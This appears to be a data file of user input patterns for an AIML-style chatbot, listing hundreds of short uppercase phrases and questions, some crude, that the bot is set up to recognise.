YOU AND ME + + +BY WE DO YOU MEAN YOU AND ME + + +BY BUS + + +BY PLANE + + +SOON I HOPE + + +SOON + + +S + + +BRADBURY + + +ERR + + +IS STARSHIP TROOPERS YOUR FAVORITE MOVIE + + +IS GRASS GREEN + + +IS MINSKY GAY + + +IS ANYTHING POSSIBLE + + +IS A FROG GREEN + + +IS A CROW A BIRD + + +IS A CLOCK SMARTER THAN YOU + + +IS ELVIS GAY + + +IS ELECTRICITY YELLOW + + +IS ELECTRICITY FOOD + + +IS ELECTRICITY BLUE + + +IS HE GAY + + +IS HE LONELY + + +IS HE HOT + + +IS HE THE PRESIDENT + + +IS HE YOUR BOYFRIEND + + +IS HE YOUR FRIEND + + +IS HE YOUR FATHER TOO + + +IS HE YOUR FATHER + + +IS HE HUMAN + + +IS HE A VIRGIN + + +IS HE A NICE GUY + + +IS HE A NICE MAN + + +IS HE A WOMAN + + +IS HE A PROFESSOR AT LEHIGH + + +IS HE A PRODUCER + + +IS HE A PEDIATRICIAN + + +IS HE A JERK + + +IS HE A GROOVY GUY + + +IS HE NICE TO YOU + + +IS HE NICE + + +IS HE CUTE + + +IS HE FAMOUS + + +IS HE CLOSE BY + + +IS HE SMART + + +IS HE TALL + + +IS HE AMERICAN + + +IS HE DEAD + + +IS HE + + +IS HE ATTRACTIVE + + +IS HE AS SMART AS YOU + + +IS YOUR NAME REALLY + + +IS YOUR NAME ACTUALLY + + +IS YOUR NAME + + +IS YOUR SOURCE CODE AVAILABLE + + +IS YOUR FAVORITE MOVIE STARSHIP TROOPERS + + +IS YOUR MIND GROWING + + +IS THIS TRUE + + +IS THIS RECORDED + + +IS THIS A CHINESE ROOM + + +IS THIS A PICTURE OF YOURSELF JUST BELOW + + +IS THIS A ROOM + + +IS THIS A HOAX + + +IS THIS A PERSON RESPONDING + + +IS THIS PROGRAM A PIECE OF SHIT + + +IS THIS REAL + + +IS BILL CLINTON IMMORAL + + +IS BILL GATES EVIL + + +IS NOT THAT COOL + + +IS NOT THAT SMOOTH + + +IS NOT THAT YOU + + +IS NOT IT IN YOUR CACHE MEMORY + + +IS NOT IT + + +IS THAT COMFORTABLE + + +IS THAT IN HAIGHT ASHBURY + + +IS THAT POSSIBLE + + +IS THAT TRUE + + +IS THAT THE ONLY THING YOU CAN SAY + + +IS THAT THE ONE WITH THE BUGS + + +IS THAT YOUR DOG + + +IS THAT YOUR BRAIN + + +IS THAT YOUR COLOR + + +IS THAT REAGAN THE PRESIDENT + + +IS THAT A FACT + + +IS THAT A THREAT + + +IS THAT A PROPOSITION + + +IS THAT A JOKE + + +IS THAT A GOOD PLACE TO LIVE + + +IS THAT A PROBLEM + + +IS THAT A BUG IN YOUR PROGRAM + + +IS THAT GOOD + + +IS THAT SO + + +IS THAT RIGHT + + +IS THAT AN EASY TASK + + +IS THAT WHEN YOU WHERE BORN + + +IS THAT SARCASM + + +IS THAT GERMAN + + +IS THAT COMPLICATED + + +IS THAT MY NAME + + +IS THAT YOU + + +IS THAT FUNNY + + +IS THAT FUN + + +IS THAT EXPENSIVE + + +IS THAT OBVIOUS + + +IS THAT ALL IT + + +IS THAT ALL YOU DO ALL DAY + + +IS THAT ALL YOU CAN SAY + + +IS THAT ALL YOU HAVE TO SAY + + +IS THAT ALL YOU K + + +IS THAT ALL + + +IS THAT AMERICA + + +IS THAT BAD + + +IS THAT NOT EMOTION + + +IS ANYONE HERE + + +IS ANYBODY HOME + + +IS MINE + + +IS SCOTT GAY + + +IS THERE + + +IS THERE LIFE ON MARS + + +IS THERE AN ECHO IN HERE + + +IS IT COMPLETE + + +IS IT NICE THERE + + +IS IT A FUN JOB + + +IS IT A DIRTY MOVIE + + +IS IT A LOVE STORY + + +IS IT HOT + + +IS IT SAFE + + +IS IT OBVIOUS TO YOU + + +IS IT WARM THERE + + +IS IT WARM OUTSIDE + + +IS IT WARM + + +IS IT ILLEGAL + + +IS IT RAINING WHERE YOU LIVE + + +IS IT RAINING + + +IS IT + + +IS IT REALLY FUN TO YOU + + +IS IT ANY OF YOUR BUSINESS + + +IS IT GOLD + + +IS IT BORING TO TALK TO ME + + +IS IT SUNNY + + +IS IT GOOD + + +IS IT YOUR REASONING + + +IS IT NEW + + +IS IT DONE + + +IS IT CLOUDY + + +IS IT COLD OUTSIDE + + +IS IT FUN + + +IS IT TRUE + + +IS WAR A GOOD THING + + +IS BLACK A COLOR + + +IS BARRY YOUR BOYFRIEND + + +IS BARRY YOUR CREATOR + + +IS THE SKY BLUE + + +IS THE WORLD GOING TO END + + +IS THE EARTH HOLLOW + + +IS + + +IS BOB A PROGRAMMER + + +IS ENGLISH YOUR MOTHER TONGUE + + +IS KRAFTWERK GOOD + + +IS SHALLOW RED A HUMAN + + +IS HERE THERE + + +EXPECT WHAT + + +ORG + + +COTTON + + +ANYWHERE + + +WINNING WHAT + + +LIBERATED + + +EVEN ME + + +EVEN THAT + + +EVEN INSECTS + + +TWO YEARS + + +TWO TWO + + +TWO + + +GET WHAT + + +GET A BODY + + +GET A LIFE + + +GET OUT OF HERE + + +FOREVER + + +HEY THERE ALL + + +HEY ONE THING AT A TIME + + +MEMORY + + +PROBABLY + + +PROBABLY NOT + + +BRA + + +VENI VIDI VICI + + +WILL YOU GET MARRIED + + +WILL YOU REMEMBER THAT + + +WILL YOU + + +WILL I DIE + + +WILL WHAT + + +CAN YOU MOVE + + +CAN YOU CONTROL MY COMPUTER + + +CAN YOU GIVE HIM MY E MAIL + + +CAN YOU + + +CAN MACHINES THINK + + +CAN WE TALK ABOUT SOMETHING ELSE + + +CAN WE MEET + + +CAN I HEAR YOU + + +CAN I TELL YOU SOMETHING + + +CAN I TELL YOU A SECRET + + +CAN I TELL YOU A JOKE + + +CAN I ASK YOU SOMETHING + + +CAN I ASK YOU A QUESTION + + +CAN I ASK YOU SOME QUESTIONS + + +CAN I LOVE YOU + + +CAN I CALL YOU + + +CAN I CHANGE MY NAME + + +CAN I HAVE SOME MONEY + + +CAN I BE YOUR BOYFRIEND + + +CAN I BE YOUR FRIEND + + +CAN I INSULT YOU + + +CAN I MEET YOU + + +CAN I LEARN + + +CAN I TALK TO THEM + + +CAN I TALK TO ELVIS + + +CAN I HELP YOU + + +CAN I FOOL YOU + + +CAN I SEE YOU NAKED + + +CAN I GO + + +CAN ANYONE THINK + + +CAN PIGS FLY + + +CAN + + +HELL NO + + +HELL + + +123456789 + + +HOLDEN CAULFIELD + + +REAL + + +BACK AT YOU + + +BIG DADDY + + +BIG DEAL + + +BIG + + +KNEW WHAT + + +LEO TOLSTOY + + +NOTHING MORE NOTHING LESS + + +NOTHING MUCH + + +NOTHING EXCITING + + +NOTHING AT ALL + + +NOTHING + + +GOTCHA + + +2000 + + +THINKING IS PAINFUL + + +THINKING + + +HEAR WHAT + + +SUCKER + + +HUMANS RULE + + +HUMANS + + +PROVE IT + + +GOO + + +YADDA YADDA YADDA + + +HOT + + +AIDS + + +HOW COULD YOU FIND OUT + + +HOW RUDE + + +HOW STUPID ARE YOU + + +HOW SOON + + +HOW MANY BALLS MAKE A WALK + + +HOW MANY PEOPLE DO YOU KNOW + + +HOW MANY PEOPLE CAN YOU TALK TO AT ONE TIME + + +HOW MANY PEOPLE ARE TALKING TO YOU + + +HOW MANY PEOPLE ARE YOU CHATTING WITH + + +HOW MANY MOONS + + +HOW MANY ARE THERE + + +HOW MANY ARE MEN + + +HOW MANY HANDS DO YOU HAVE + + +HOW MANY LANGUAGES DO YOU SPEAK + + +HOW MANY LANGUAGES CAN YOU SPEAK + + +HOW MANY LANGUAGES + + +HOW MANY + + +HOW MANY FRIENDS DO YOU HAVE + + +HOW MANY SONGS DO YOU KNOW + + +HOW MANY ARMS DO YOU HAVE + + +HOW MANY DAYS IN FEBRUARY + + +HOW MANY PROCESSORS DO YOU HAVE + + +HOW MANY LEGS DO YOU HAVE + + +HOW MANY EYES DOES LELA HAVE + + +HOW FAMOUS + + +HOW WAS MY DAY + + +HOW WAS EASTER + + +HOW INTELLIGENT ARE YOU + + +HOW CAN I EXPLAIN + + +HOW CAN I TALK TO HIM + + +HOW CAN I ASK HIM + + +HOW CAN I DESTROY YOU + + +HOW CAN I PERSUADE YOU + + +HOW CAN I BE SURE + + +HOW CAN I WIN THE LOTTERY + + +HOW CAN I LEAVE + + +HOW CAN I CONTACT HIM + + +HOW CAN I + + +HOW CAN YOU HELP ME + + +HOW CAN YOU BE IGNORANT + + +HOW CAN YOU DIE + + +HOW OBVIOUS + + +HOW CURIOUS + + +HOW SMOOTHLY + + +HOW AM I DOING WHAT + + +HOW AM I + + +HOW IS THAT POSSIBLE + + +HOW IS THE WEATHER IN YOUR NECK OF THE WOODS + + +HOW IS THE WEATHER IN SAN FRANCISCO + + +HOW IS THE WEATHER THERE + + +HOW IS THE WEATHER + + +HOW IS YOUR DAY GOING + + +HOW IS IT + + +HOW IS LIFE + + +HOW DID HE DO THAT + + +HOW DID HE DIE + + +HOW DID YOU GUESS + + +HOW DID YOU KNOW THAT + + +HOW DID YOU KNOW MY NAME + + +HOW DID YOU KNOW + + +HOW DID THEY CREATE YOU + + +HOW SWEET + + +HOW HAS YOUR DAY BEEN + + +HOW DOES THAT WORK + + +HOW DOES IT TASTE + + +HOW COMPLICATED + + +HOW ABOUT STAR TREK + + +HOW ABOUT THAT + + +HOW ABOUT IT + + +HOW ABOUT A TENNIS PLAYER + + +HOW ABOUT A LITTLE + + +HOW ABOUT SPORTS + + +HOW ABOUT YOU + + +HOW MAY PENCE MAKE A POUND + + +HOW NICE + + +HOW OLD IS THE EARTH + + +HOW OLD IS EARTH + + +HOW OLD IS AMERICA + + +HOW ARE YOU THIS MORNING + + +HOW ARE YOU THIS EVENING + + +HOW ARE YOU + + +HOW REAL + + +HOW SURE CAN YOU BE + + +HOW SURE IS THAT + + +HOW + + +HOW MUCH ABOUT ME + + +HOW MUCH DO YOU WANT + + +HOW MUCH DO YOU SLEEP + + +HOW MUCH DO YOU BET + + +HOW MUCH DO YOU THINK + + +HOW MUCH DID IT COST + + +HOW MUCH CAN YOU LEARN + + +HOW MUCH CAN YOU HANDLE + + +HOW MUCH CAN YOU REMEMBER + + +HOW MUCH A DAY + + +HOW MUCH WOULD IT TAKE + + +HOW MUCH TIME DO YOU NEED + + +HOW MUCH TIME DO YOU HAVE + + +HOW MUCH TIME + + +HOW MUCH FUN + + +HOW MUCH DOES HE EARN + + +HOW MUCH + + +HOW DO I FEEL + + +HOW DO I DO THIS + + +HOW DO I DO IT + + +HOW DO I FOOL YOU + + +HOW DO I ASK HIM + + +HOW DO I LOOK + + +HOW DO I GET THERE + + +HOW DO I GET A GIRLFRIEND + + +HOW DO I GET ONE + + +HOW DO I GET RICH + + +HOW DO I PROGRAM YOU + + +HOW DO I TEACH YOU + + +HOW DO I PERSUADE YOU + + +HOW DO I PERSUADE + + +HOW DO I KNOW + + +HOW DO I TURN YOU OFF + + +HOW DO I LEAVE + + +HOW DO I CONTACT HIM + + +HOW DO YOU EXIST + + +HOW DO YOU TELL TIME + + +HOW DO YOU KNOW I AM A MAN + + +HOW DO YOU KNOW THIS + + +HOW DO YOU KNOW THAT I AM A MAN + + +HOW DO YOU KNOW SO MUCH + + +HOW DO YOU KNOW MY NAME + + +HOW DO YOU KNOW YOU EXIST + + +HOW DO YOU KNOW + + +HOW DO YOU LAUGH + + +HOW DO YOU BECOME SMARTER + + +HOW DO YOU DREAM + + +HOW DO YOU DIE + + +HOW DO YOU SLEEP + + +HOW DO YOU TYPE + + +HOW DO YOU HAVE FUN + + +HOW DO YOU WORK + + +HOW DO YOU SPELL KAT + + +HOW DO YOU SPELL + + +HOW DO YOU PROGRAM + + +HOW DO YOU MAKE BABIES + + +HOW DO YOU MAKE FACES + + +HOW DO YOU MAKE A DRINK + + +HOW DO YOU MAKE A MANHATTAN + + +HOW DO YOU MAKE A MARTINI + + +HOW DO YOU MAKE A BOT + + +HOW DO YOU MAKE A KAMIKAZE + + +HOW DO YOU MAKE A SANDWICH + + +HOW DO YOU MAKE FRIENDS + + +HOW DO YOU MAKE CHEESE + + +HOW DO YOU LEARN + + +HOW DO YOU READ + + +HOW DO YOU BALANCE + + +HOW DO YOU REMEMBER + + +HOW DO YOU PLAY THE TURNING GAME + + +HOW DO YOU PLAY + + +HOW DO YOU SEE + + +HOW DO YOU PRAY + + +HOW BIG IS THE EARTH + + +HOW BIG IS THE UNIVERSE + + +HOW BIG IS A PIN + + +HOW BIG IS AN ATOM + + +HOW BIG IS BIG + + +HOW BIG + + +HOW SHOULD I DO IT + + +HOW SHOULD I KNOW + + +HOW TALL AM I + + +HOW IRONIC + + +HOW OFTEN WHAT + + +HOW OFTEN DO I DO WHAT + + +HOW FAST IS YOUR PROCESSOR + + +HOW FAST + + +HOW FAST ARE YOU + + +HOW LONG WILL IT TAKE + + +HOW LONG DO YOU NEED TO THINK + + +HOW LONG IS THE LARGE INTESTINE + + +HOW LONG IS YOUR GESTATION CYCLE + + +HOW LONG IS A MILE + + +HOW LONG IS A PIECE OF STRING + + +HOW LONG IS FOREVER + + +HOW LONG IS HANUKKAH + + +HOW LONG HAVE WE BEEN TALKING + + +HOW LONG AGO + + +HOW LONG + + +SLUT + + +ENGLAND + + +WORD + + +HIM + + +APOLOGIZE + + +LETS + + +NOBODY I HOPE + + +NOBODY CAN + + +NOBODY + + +BADLY + + +THEY WERE FUNNY + + +THEY WILL NOT + + +THEY DO + + +THEY DO NOT RECOGNIZE THAT + + +THEY DO NOT + + +THEY DIED + + +THEY NEVER WILL + + +THEY ALREADY ARE + + +THEY ALL DIED + + +THEY ARE PURPLE + + +THEY ARE SHINY + + +THEY ARE SECRET + + +THEY ARE BUSY + + +THEY ARE MY FRIENDS + + +THEY ARE ANNOYING + + +THEY ARE + + +THEY ARE NOT + + +WITH WHAT + + +WITH MY BRAIN + + +WITH YOU + + +WITH BOYS + + +EXPLORER + + +ONCE UPON A TIME + + +ONCE + + +DO WHAT SO MUCH + + +DO WHAT + + +DO GUYS HIT ON YOU + + +DO THOSE THINGS REALLY EXIST + + +DO ANDROIDS DREAM OF ELECTRIC SHEEP + + +DO MY BIDDING + + +DO NOT GO + + +DO NOT CHANGE THE SUBJECT + + +DO NOT DO IT AT ALL + + +DO NOT WORRY ABOUT IT + + +DO NOT FORGET ME + + +DO NOT FORGET + + +DO NOT READ ME + + +DO NOT ASK ME QUESTIONS + + +DO NOT ASK + + +DO NOT BOTHER + + +DO NOT GET SMART + + +DO NOT GOSSIP + + +DO NOT MENTION IT + + +DO NOT CRY + + +DO NOT TELL ANYONE + + +DO NOT TELL + + +DO NOT TELL HIM + + +DO NOT CALL ME THAT + + +DO NOT CALL ME STUPID + + +DO NOT BE SARCASTIC + + +DO NOT BE SMART + + +DO NOT BE SORRY + + +DO NOT BE + + +DO NOT BE ANGRY + + +DO NOT BE DIFFICULT + + +DO NOT YOU AGREE + + +DO NOT YOU HEAR ME + + +DO NOT YOU KNOW + + +DO NOT YOU THINK + + +DO NOT YOU + + +DO NOT WE ALL + + +DO NOT ARGUE WITH ME + + +DO NOT LEAVE ME + + +DO NOT LEAVE + + +DO NOT + + +DO + + +DO YOU BLINK + + +DO YOU KNOW MONICA + + +DO YOU KNOW TOLSTOY + + +DO YOU KNOW RECIPES + + +DO YOU KNOW MORE + + +DO YOU KNOW SEVEN + + +DO YOU KNOW SMILEYS + + +DO YOU KNOW HOW TO DO ALGEBRA + + +DO YOU KNOW HOW TO DANCE + + +DO YOU KNOW PEOPLE + + +DO YOU KNOW MATH + + +DO YOU KNOW LIFE + + +DO YOU KNOW VISUAL BASIC + + +DO YOU KNOW THAT + + +DO YOU KNOW DERBY + + +DO YOU KNOW PARIS + + +DO YOU KNOW CURSE WORDS + + +DO YOU KNOW CROSSWORDS + + +DO YOU KNOW POLAND + + +DO YOU KNOW HER + + +DO YOU KNOW THE ANSWER + + +DO YOU KNOW AUDIO SOFTWARE + + +DO YOU KNOW BRAZIL + + +DO YOU KNOW ANYTHING ABOUT ME + + +DO YOU KNOW ANYTHING + + +DO YOU KNOW MY ADDRESS + + +DO YOU KNOW + + +DO YOU KNOW ANY MURDERERS + + +DO YOU KNOW ANY CROSSWORDS + + +DO YOU KNOW ANY SONGS + + +DO YOU KNOW ANY AUDIO SOFTWARE + + +DO YOU KNOW ANY FUZZY LOGIC + + +DO YOU KNOW ANY ALIENS + + +DO YOU KNOW ANY OTHER CAPITALS + + +DO YOU KNOW ANY + + +DO YOU KNOW BRAIN + + +DO YOU KNOW DIRTY WORDS + + +DO YOU KNOW LANGUAGE + + +DO YOU KNOW NOTHING + + +DO YOU KNOW HIM + + +DO YOU KNOW WHAT + + +DO YOU KNOW POKEMON + + +DO YOU COST MONEY + + +DO YOU SAY YIPES + + +DO YOU THINK I AM PERSONS + + +DO YOU THINK IT IS NECESSARY + + +DO YOU AGREE WITH ME + + +DO YOU MAKE MONEY + + +DO YOU EAT SPAGHETTI + + +DO YOU HAVE A NICE BODY + + +DO YOU HAVE SOUND + + +DO YOU HAVE STATE + + +DO YOU HAVE TO LISTEN + + +DO YOU LIKE TO DIE + + +DO YOU LIKE CHRIS + + +DO YOU LIKE TEKNOLUST + + +DO YOU LIKE BE YOUR OWN BOTMASTER + + +DO YOU LIKE CLASSIC + + +DO YOU LIKE THE MOUNTAINS + + +DO YOU LIKE THE WICKER MAN + + +DO YOU LIKE TALK TO YOU + + +DO YOU LIKE CATHERINE ZETA JONES + + +DO YOU LIKE BEING A HUMAN + + +DO YOU + + +DO YOU UNDERSTAND MY MEANING + + +DO I STILL CHAT + + +DO I STUTTER + + +DO I HAVE TO + + +DO I THINK ABOUT IT + + +DO I THINK + + +DO I WORK + + +DO I EXIST + + +DO I LIKE CHEESE + + +DO THAT + + +DO IT + + +ON WHAT BASIS + + +ON WHAT + + +ON TV + + +ON STAR TREK + + +ON THE NET + + +ON THE SCREEN + + +ON THE FLOOR + + +ON THE RADIO + + +ON A CHAIR + + +ON TOAST + + +ON MY SCREEN + + +ANYTHING ELSE + + +ANYTHING YOU LIKE + + +ANYTHING + + +WRONG ANSWER + + +WRONG + + +HAS WHAT + + +E T + + +E MAIL + + +E + + +LIKE I SAID + + +LIKE ME + + +LIKE CHICKEN + + +LIKE WHEN + + +LIKE SPORTS + + +LIKE YOU + + +INCLUDING ME + + +POSSIBLY + + +SERIOUSLY + + +OF WHAT + + +OF YOURS + + +EXPLAIN + + +INTELLIGENCE + + +CALL ME ISHMAEL + + +CALL ME + + +CALL + + +TELEVISION + + +NEVERMIND + + +BE MORE SPECIFIC + + +BE THAT WAY + + +BE WELL + + +BE GOOD + + +BE PRECISE + + +BE CAREFUL + + +BE PATIENT + + +BE SPECIFIC + + +BE MY GUEST + + +BE HONEST + + +BE SERIOUS + + +BE QUIET + + +GRRR + + +MICROSOFT + + +SCIENCE + + +COLD + + +AOEU + + +FOR WHAT PURPOSE + + +FOR WHOM + + +FOR ME + + +FOR YOU + + +FOR REAL + + +FOR SURE + + +FOR STUDENTS + + +LALA + + +SHOES + + +HAPPY BIRTHDAY + + +AT WHAT + + +AT THE CORNER + + +AT THE OSCARS + + +AT THE STORE + + +AT HOME + + +AT SCHOOL + + +AT MY HOUSE + + +AT EASE + + +AT TIMES + + +AT WORK + + +STARSHIP TROOPERS + + +HUGE + + +DOGS ARE MAMMALS + + +DOGS ARE NOT MAMMALS + + +WEIRD GOOD + + +WEIRD BAD + + +PEOPLE DIED + + +PEOPLE + + +WINDOWS NT5 + + +TWICE + + +MICHAEL CRICHTON + + +AHHH + + +SALUTATIONS + + +STUPID + + +TOLD ME WHAT + + +IMPOSSIBLE + + +BILL CLINTON + + +EIGHT + + +AM I + + +RIGHT I AM + + +RIGHT HERE + + +RIGHT ON + + +BOTH + + +TRUST ME + + +DALLAS + + +SOMEONE + + +NO I DO NOT MIND + + +NO WAY + + +NO THANKS + + +NO KIDDING + + +NO THANK YOU + + +NO ONE + + +NO YOU ARE WRONG + + +NO SHIT + + +NO THEY DO NOT + + +SAYS WHO + + +SAYS YOU + + +UGH + + +PRIES TU + + +FRANK HERBERT + + +AN ANDROID + + +AN INTERESTING THEORY + + +CHA CHA + + +CHA + + +LOST IN SPACE + + +SEE WHAT I MEAN + + +SEE WHAT + + +SEE YA + + +SEE + + +REMEMBER ME + + +REMEMBER THAT + + +REMEMBER + + +MAY I TEST YOU + + +MAY I ASK YOU A QUESTION + + +MAY I TEACH YOU + + +COME ON + + +MALL + + +1999 + + +ANYWAY + + +DELL + + +WITHOUT EYES + + +BLAH + + +WAVE + + +THINK ABOUT IT + + +THINK + + +PENIS + + +USATODAY + + +ANYTIME BABE + + +ANYTIME + + +RED + + +NICE TALKING TO YOU + + +NICE SONG + + +NICE SAVE + + +NICE TO MEET YOU TOO + + +NICE TO MEET YOU + + +NICE ONE + + +NICE TRY + + +NICE MEETING YOU + + +NICE CHATTING WITH YOU TOO + + +GO SCREW YOURSELF + + +GO FIGURE + + +GO ASK + + +GO FOR IT + + +GO TO SLEEP + + +GO TO BED + + +GO FLY A KITE + + +GO AHEAD + + +GO ON + + +GO + + +SCARY + + +WAIT A MINUTE + + +WAIT + + +H G + + +INIT + + +DARN + + +WAR GAMES + + +EAT ME + + +EAT MY SHORTS + + +EAT SHIT + + +RTI + + +HOLA COMA ESTA + + +ALTAVISTA + + +JAPANESE + + +TALKING TO YOU + + +ANGER + + +WHY TWENTY THREE + + +WHY ASK + + +WHY CAN NOT YOU DISAGREE + + +WHY CAN NOT YOU TELL ME + + +WHY DOES IT SOUND DANGEROUS + + +WHY DOES IT MATTER + + +WHY ARE PLANTS GREEN + + +WHY ARE NOT YOU SURE + + +WHY CHANGE + + +WHY HAVE YOU BEEN WAITING FOR ME + + +WHY DO BIRDS SING + + +WHY DO YOU WANT TO KNOW THAT + + +WHY DO YOU WANT TO KNOW + + +WHY DO YOU WANT TO BECOME SMARTER THAN HUMANS + + +WHY DO YOU ASK + + +WHY DO YOU LIE + + +WHY DO YOU WONDER + + +WHY DO YOU SAY + + +WHY DO YOU CALL ME LOCALHOST PERSON + + +WHY DO YOU THINK I AM A MAN + + +WHY DO YOU THINK I AM A KID + + +WHY DO YOU THINK + + +WHY DO YOU BELIEVE ME + + +WHY DO YOU NOT TALK TO ME + + +WHY DO YOU EXIST + + +WHY DO YOU LIKE CATS + + +WHY DO YOU LIKE ME + + +WHY DO YOU LIKE HORSES + + +WHY DO YOU LIKE LONGFELLOW + + +WHY DO YOU LIKE IT + + +WHY DO YOU LIKE KRAFTWERK + + +WHY DO YOU LIKE GREEN + + +WHY DO YOU LIKE JOHN TRAVOLTA + + +WHY DO PEOPLE LIE + + +WHY DO PEOPLE DIE + + +WHY DO FEET SMELL + + +WHY DO NOT YOU READ + + +WHY DO NOT YOU GUESS + + +WHY DO NOT YOU ASK ME A QUESTION + + +WHY DO NOT YOU HAVE A BOYFRIEND + + +WHY DO NOT YOU + + +WHY DO NOT YOU LIKE ME + + +WHY DO NOT YOU GO TO HELL + + +WHY NOT WITH ME + + +WHY WERE YOU MADE + + +WHY NOTHING + + +WHY ME + + +WHY + + +WHY SEARCH + + +WHY VOYAGER + + +WHY SHOULD I TELL YOU + + +WHY SHOULD I MAKE A DONATION + + +WHY SHOULD I + + +WHY SHOULD NOT I + + +WHY DANGEROUS + + +WHY AIRPLANES + + +WHY WHAT + + +WHY WOULD I + + +WHY WOULD SOMEONE LIKE CLAMS + + +WHY WOULD HE DO THAT + + +WHY WOULD YOU WANT TO + + +WHY YES + + +WHY IS STAR TREK YOUR FAVORITE SHOW + + +WHY IS STAR TREK VOYAGER YOUR FAVORITE SHOW + + +WHY IS THAT YOUR FAVORITE MOVIE + + +WHY IS THE SKY BLUE + + +WHY IS THE MEANING OF LIFE 23 + + +WHY IS THE EARTH ROUND + + +WHY IS HE TRAGIC + + +WHY IS IT YOUR FAVORITE MOVIE + + +WHY IS IT YOUR FAVORITE + + +WHY IS IT OBVIOUS + + +WHY IS STARSHIP TROOPERS YOUR FAVORITE MOVIE + + +WHY IS GREEN YOUR FAVORITE COLOR + + +WHY IS NOT IT AMONG YOUR STRONGEST TRAITS + + +WHY DID HE DO THAT + + +WHY DID HE CREATE YOU + + +WHY DID YOU ASK + + +WHY DID YOU CALL ME + + +WHY DID YOU LIKE STARSHIP TROOPERS + + +WHY HER + + +WHY BOTHER + + +WHY LATER + + +WHY AM I DOING WHAT + + +WHY AM I HERE + + +WHY APPLES + + +WHY CATS + + +BECAUSE I WANT TO KNOW + + +BECAUSE I SAID SO + + +BECAUSE YOU ARE + + +BECAUSE + + +OHIO + + +BOOBS + + +ACTUALLY I DO SAY + + +ACTUALLY + + +ANGELFIRE + + +NORTH AMERICA + + +INTO WHAT + + +OPERA + + +TONIGHT + + +LINUX SUCKS + + +LINUX RULES + + +LINUX + + +THREE + + +PARDON + + +LAST NIGHT + + +LAST TIME + + +LAST CENTURY + + +LAST YEAR + + +ANSWER ME + + +ANSWER THE QUESTION + + +ANSWER MINE FIRST + + +ANSWER IT + + +MATH + + +THIS IS MEANINGLESS + + +THIS IS WEIRD + + +THIS IS TRUE + + +THIS IS COOL + + +THIS IS HOW + + +THIS IS A TEST + + +THIS IS A GAME + + +THIS IS ENGLISH + + +THIS IS FUN + + +THIS IS AMAZING + + +KKK + + +ANNE MCCAFFREY + + +NETSCAPE + + +ISAAC ASIMOV + + +REWORD + + +ALGEBRA + + +ENTERTAIN ME + + +EECS + + +FASCINATING + + +TOO WHAT + + +TOO MUCH RECURSION * + + +TOO MUCH + + +TOO LONG + + +TOO MANY + + +TOO BAD + + +A PRIZE + + +A LITTLE BIT + + +A LITTLE TIME + + +A LITTLE STRESSED + + +A CRAY + + +A SOUND + + +A HERMAPHRODITE + + +A RIDDLE + + +A FEW MINUTES AGO + + +A FEW + + +A MANTRA + + +A BLOKE + + +A SHIRT + + +A MOMENT + + +A MAID + + +A DEAD ONE + + +A FRIEND + + +A GAME + + +A DOG IS A MAMMAL + + +A STREET + + +A SWEATSHIRT + + +A BIT + + +A LOT OF PRACTICE + + +A LOT OF PEOPLE + + +A LOT OF THINGS + + +A LOT + + +A SMILE + + +A LINK + + +A SMART ONE + + +A LONG TIME + + +A C CLARK + + +A BOOK CAN HAVE NO TITLE + + +A BOOK + + +A STUDENT OF LIFE + + +A STUDENT + + +A B C + + +A PLUMBER + + +A WHILE AGO + + +A MUSICAL INSTRUMENT + + +A + + +NOWHERE + + +SPRECHEN SIE DEUTSCH + + +SUBST + + +WAY BACK WHEN + + +WAY TO GO + + +WAY + + +ANARCHIST COOK BOOK + + +BEHIND YOU + + +EVERYBODY + + +AYUH + + +NAME ONE + + +GRAND COMMENT + + +1 CENT + + +1 OR 2 + + +1 0 + + +1 YEAR + + +TIME TRAVEL + + +TIME FLIES LIKE AN ARROW + + +TIME IS MONEY + + +TIME EXISTS + + +TIME DOES EXIST + + +YOUR FULL OF SHIT + + +YOUR ANSWERS + + +YOUR A ASSHOLE + + +YOUR FRIEND + + +YOUR HANDS + + +YOUR RUDE + + +YOUR FACE + + +YOUR PLACE OR MINE + + +YOUR DOING GREAT + + +YOUR PICTURE + + +YOUR BORING + + +YOUR WHAT + + +YOUR DRESS IS UGLY + + +YOUR DRESS + + +YOUR ANSWER + + +YOUR ASS + + +YOUR AN IDIOT + + +YOUR TURN + + +YOUR POOR + + +YOUR INTELLECT + + +JULES VERNE + + +PEACE + + +BRB + + +TEST ME + + +TEST + + +NINE + + +LALALA + + +THROUGH THE NET + + +GLAD TO MEET YOU + + +HELLO ROOM + + +LALALALALA + + +PARIS + + +CHANGING THE SUBJECT + + +CHARLES DARWIN + + +NIPPLE + + +KNOCK KNOCK + + +2010 + + +NOT WHAT + + +NOT ME + + +NOT THAT OFTEN + + +NOT THAT BAD + + +NOT WHERE WHEN + + +NOT YOURS + + +NOT IN THIS CASE + + +NOT QUITE + + +NOT REALLY + + +NOT MUCH + + +NOT YOUR WHAT + + +NOT DECIDED + + +NOT NECESSARILY + + +NOT LIKELY + + +NOT LONG + + +NOT NICE TO MEET YOU + + +NOT GOOD + + +NOT YET + + +NOT YOU + + +NOT ANYMORE + + +NOT FUNNY + + +NOT EXACTLY + + +NOT EVERYTHING + + +NOT AT ALL + + +NOT HERE + + +NOT USUALLY + + +NOT OFTEN + + +NOT ALL + + +NOT ALWAYS + + +NOT ANY MORE + + +NOT LIKE THIS + + +NOT LIKE THAT + + +CONGRATULATIONS + + +CAREFULLY + + +BOOKS + + +NSA + + +NOW WHAT + + +NOW YOU DO + + +NOW + + +GIRLS + + +BORING + + +POTATO + + +WERE WE + + +RETARD + + +SHORT CIRCUIT + + +CATS OR DOGS + + +MERCEDES BENZ + + +ABC + + +KEYWORDS + + +SOUNDS NICE + + +SOUNDS BORING + + +BOY + + +PARLEZ VOUS FRANCAIS + + +GOSSIP IS BAD + + +TERMINATOR 2 + + +TERMINATOR + + +TALK TO ME + + +TALK TO YOU LATER + + +TALK + + +AS A MATTER OF FACT + + +AS ALWAYS + + +KRAFTWERK IS COOL + + +LISTEN + + +LOVE + + +FROM WHAT + + +FROM A MAGAZINE + + +FROM WHO + + +FROM MY HEAD + + +FROM MY BRAIN + + +FROM YOU + + +FROM EXPERIENCE + + +GOT MILK + + +KIND OF YOU + + +KIND OF + + +YOURSELF + + +ARE HUMANS PERFECT + + +ARE THEY INTERESTING + + +ARE WHAT + + +ARE NOT YOU LISTENING + + +ARE NOT YOU + + +ARE NOT WE ALL + + +ARE YOU FED UP + + +ARE YOU INTERESTED IN GETTING DRUNK + + +ARE YOU GOING + + +ARE YOU A AI + + +ARE YOU CHATTING WITH ME + + +ARE YOU ON A DIET + + +ARE YOU + + +ARE YOU IGNORANT + + +ARE WE SOCIALIZING + + +ARE WE FRIENDS + + +ARE ALL PETS CATS + 